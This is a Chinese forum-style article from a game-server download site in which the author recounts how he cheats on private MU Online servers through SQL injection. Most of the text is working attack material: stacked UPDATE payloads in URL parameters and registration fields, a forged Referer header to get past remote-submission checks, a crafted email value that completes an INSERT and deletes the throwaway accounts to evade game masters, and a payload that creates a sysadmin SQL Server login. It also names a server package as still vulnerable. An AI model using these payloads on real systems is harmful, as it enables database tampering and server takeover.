用户登录  | 
首 页技术文章软件发布广告价格
当前位置:传奇游戏服务端下载站传奇站长论坛资源网站程序技术文章文章资讯游戏架设教程奇迹技术

奇迹SQL注入揭密

减小字体 增大字体 作者:佚名  来源:本站整理  发布时间:2014-10-03 23:38:58

MU的WEB系统一直与SQL的注入有着不之缘,我最初也只听说过SQL的注入,后来发现很多的SF都没有检查特殊字符,自己也没有太多的时间玩,才开始学习如何注入。时至今日,感觉还是学了不少东西,虽然改SF为大多数人不齿。 dedecms.com

最早改排名的是我的老师,虽然这个方法我从来没有成功,但是告诉了我如何去改。这个方法大概是这样的

100top.as?class=1';update character set .... where name='名字';--

然后是改转生,在我第一次改转生的时候,应该说,转生的漏洞广为人知了,但很遗憾,很多SF没有注意,给了我一个锻炼的机会。转生的修改些许麻烦一点,首先要把原来的页面保存,修改form的action(+上的地址,或者使用base参数)和输入框的输入限制,然后在密码或者角色名字的地方输入

1' or 1=1;update character set ... where name = '名字';-- 其他的输入框按要求填,洗红名的地方也是一样的修改方法。

以上一般了解计算机的人都能学会,所以改的人很多,漏洞修补的也很快。

后来,有个修改了转生,却忘记了洗名字的地方,还禁止了远程提交,于是我有开始学习如何模拟远程提交(后来看了http协议,才知道referer这个参数在起作用),于是开始写一些提交程序,后来大概了解到,好象vbscript也有控件支持提交以及http头设置。

Post http /1.1

dedecms.com

Accept: */*
Referer: http://XXX.XXX.XXX/register.htm

然后同上面的方法一样,把某一个参数输入1' or 1=1;update character set .... where name='名字';--

在后来,洗名字转生==地方都检查特殊字符。最传统的

dedecms.com

select * from character where name='&ps_charname&'... 的注入失去了作用,遗憾的是fishserver至近还存在这样的漏洞(email地方,以及还没有公布的nickname地方,今天算了公布了,可能是hellfish个人很忙,更新不及时,所以fishserver漏洞很多,在后面的介绍中还会说一说它的另外一个漏洞) 这种修改方式算了走到了尽头。

但是,还有另外的一个修改地方,就是注册,我估计有其他的人在这个地方修改,但是没有一直没有结识过,很希望能得到高手的指点。到目前为止,要在注册的地方修改,需要对计算机很了解的人才能做到,首先是要会写程序,避开禁止远程提交,然后是理解SQL,构造合适的SQL注册语句。下面简要说明其中的SQL构造。

SQL SERVER中,可以同时执行多条语句,但是有个限制条件,前面一条语句出错的话,后面的语句无法执行。我们知道,在注册的时候需要填写的数据有

ps_loginname=noname912
ps_password=111111
ps_repassword=111111
ps_answer=123456
ps_person_id=111111111111111111
ps_sno_numb=111111111111111111
ps_question=654321
ps_email=2@431d.com
ps_nickname=111111

但是,一般的系统只检查了ps-loginname(避开select的传统攻击),却不知道,后面的还有一个SQL语句

insert into memb_info values(......,ps_email,ps_question,ps_answer....) dedecms.com

出于对SQL注入的理解,学过计算机的人应该明白,这个地方同样存在一样的问题,首先要对memb-info的表结构清楚,然后,构造一个完整的insert语句,将ps-email改写如下 dedecms.com

ps_email=2@431d.com','2@431d.com','111111','111111','1','2003-11-23','2003-11-23','2003-11-23','2003-11-23','1','0','1'); delete from memb_info where memb___id = 'NoName911' or memb___id = 'NoName912';update character set ... where name='名字';--

需要构造完整的insert语句,否则,后面的语句也不能执行,然后delete语句是为了避免每次修改都注册了一个帐号,容易让GM发现,所以一注册就删除,知道后面的update就是修改部分,对公开了1433端口的SF,就可以使用

use Master;exec sp_addlogin 'System', 'manager', 'MuOnline';exec sp_adduser 'System', 'System', 'db_owner';exec sp_addsrvrolemember sysadmin,'System';--<

Tags:

作者:佚名

文章评论评论内容只代表网友观点,与本站立场无关!

   评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
传奇资源网提供最新传奇开区一条龙版本下载,本站声明:只更新最新最好的传奇服务端分享给大家。